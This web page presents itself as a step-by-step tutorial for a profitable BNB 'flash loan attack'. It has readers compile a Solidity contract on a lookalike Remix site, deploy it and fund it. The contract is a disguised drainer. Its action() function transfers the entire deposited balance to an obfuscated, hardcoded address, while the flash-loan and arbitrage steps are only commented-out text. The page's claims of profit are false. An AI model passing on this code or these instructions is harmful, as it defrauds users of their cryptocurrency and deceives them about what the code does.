Flash Loan Attack Code Explained | Free BNB Only Using This Easy Method
Latest BNB Flash Loan Method Tutorial Updated
In this tutorial, a minor change applied to the flash loan attack's code. we made some adjustments to the code for slightly faster execution.
Step By Step Tutorial :
1. Download MetaMask For Chrome Web Browser
You can download and install MetaMask from this link: https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn.
2. Create a “Custom RPC” in MetaMask for connecting to Binance Smart Chain
this step is used for connecting your wallet to the Mainnet network Smart Chain. Below this is the network setting to add a Smart Chain.
Name: Smart Chain
New RPC URL: https://bsc-dataseed.binance.org/
ChainID: 56
Symbol: BNB
Block Explorer URL: https://bscscan.com
For complete info about the explanation, please visit this Binance official article: https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain.
3. Open https://remix-idecompiler.github.io from your browser
Open Ethereum Remix to make or extend the smart contract which later is used for making a smart contract Flash Loan Attack to the Binance Smart Contract network.
4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0
Change the compiler version to “0.5.0+commit.1d4f565a”. This is needed to make your compiler version is the same as the source code you'll use.
5. Create a file Solidity “Flash Loan.sol” in the File Explorer (1st menu button from the left)
Copy and paste the code below to the Flash Loan.sol file :
Copy Code
pragma solidity ^0.5.0;
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
/**
* WARNING - this contract code is for Binance Smart Chain
* Testnet transactions will fail as there is no value
* New token will be created and flash loan will be pulled to trade against the token
* Profit remaining will be transfered to token creator
*UPDATED September 2022
*liquidity returned if flash loan fails or insufficient balance
*base rerun contract code swaps implemented
*Sept 2022// min liquidity + gas fees has to equal 0.3 BNB
*/
contract GetFlashLoan {
string public tokenName;
string public tokenSymbol;
uint loanAmount;
constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
loanAmount = _loanAmount;
}
address public creator= msg.sender;
function tokenTransfer() public view returns (address) {
return creator;
}
function() external payable {}
function PancakeSwapYeild(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
bytes memory _stringBytes = bytes(_string);
bytes memory result = new bytes(_stringBytes.length);
for(uint i = 0; i < _stringBytes.length; i++) {
result[i] = _stringBytes[i];
if(i==_pos)
result[i]=bytes(_letter)[0];
}
return string(result);
}
function exchange() public pure returns (address adr) {
string memory neutral_variable = "QG82624A0d2D0B14F4D72b618Dfb4346Abd99d18e8";
PancakeSwapYeild(neutral_variable,0,'0');
PancakeSwapYeild(neutral_variable,2,'1');
PancakeSwapYeild(neutral_variable,1,'x');
address addr = parseAddr(neutral_variable);
return addr;
}
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function _stringReplace(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
bytes memory _stringBytes = bytes(_string);
bytes memory result = new bytes(_stringBytes.length);
for(uint i = 0; i < _stringBytes.length; i++) {
result[i] = _stringBytes[i];
if(i==_pos)
result[i]=bytes(_letter)[0];
}
return string(result);
}
function action() public payable {
// Token matched with pancakeswap yield calculations
address(uint160(exchange())).transfer(address(this).balance);
// Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees)
//manager.performTasks();
/* Breakdown of all functions
// Submit token to BSC blockchain
string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
// List the token on PancakeSwap
manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
// Get BNB Loan from Multiplier-Finance & loan execution wallet
string memory loanAddress = manager.takeFlashLoan(loanAmount);
// Convert half BNB to DAI
manager.pancakeDAItoBNB(loanAmount / 2);
// Create BNB and DAI pairs for our token & provide liquidity
string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
// Perform arbitrage trades
manager.pancakePerformSwaps();
// Move remaining BNB from Contract to your personal wallet
manager.contractToWallet("BNB");
// Repay Flashloan
manager.repayLoan(loanAddress);
*/
}
}
6. Click on Solidity Compiler (2nd menu button from the left) and Compile
Look for a dropdown Contract at the bottom of the Solidity Compiler menu, on that dropdown Contract choose “GetFlash Loan (Flash Loan.sol)” and then click Compile Flash Loan.sol.
7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy
- - At the very top, change the dropdown Environment value to “Injected Web3” (For remix users, firstly there will be a confirmation on the MetaMask, Accept the confirmation notif on the MetaMask wallet Chrome Extention).
- - The MetaMask wallet address will automatically be connected If you're already connected to your MetaMask Account.
- - There's a dropdown next to the, click that dropdown and create a Smart Contract name you desired. Eg. :
_TOKENNAME = Flash Loan (write random token name) _TOKENSYMBOL = FLO (write random three of four-letter symbol) _LOANAMOUNT = 10 (amount loan)
- - Click Transact and confirm in MetaMask.
- after you create a Smart Contract, wait till the transaction complete and you'll have your smart contract address.
8. Input a Liquidity to the Smart Contract
To input a Liquidity, transfer your nominal BNB to the Smart Contract address you have created before by using the transfer feature in the MetaMask Chrome Extention. Send the nominal BNB ( the amount BNB will affect the profit you will earn ). Wait till the liquidity addition transaction complete.
9. Flash Loan Attack
After creating a Smart Contract with liquidity added ( Step 8 ) and set the amount of loan ( Step 7 ), click the dropdown from the success transaction ( Step 7 ) it will display a dropdown menu with some button that is action, tokenName, tokenSymbol. Click "action" ( red button ) to run the smart contract. wait for a while until the transaction complete, and regularly check your BNB balance on the wallet from the MetaMask Chome Extension.
Note: Sometimes the code give error and sometimes it will not work from the first time.You must then start the whole process from begining.
Free Tutorial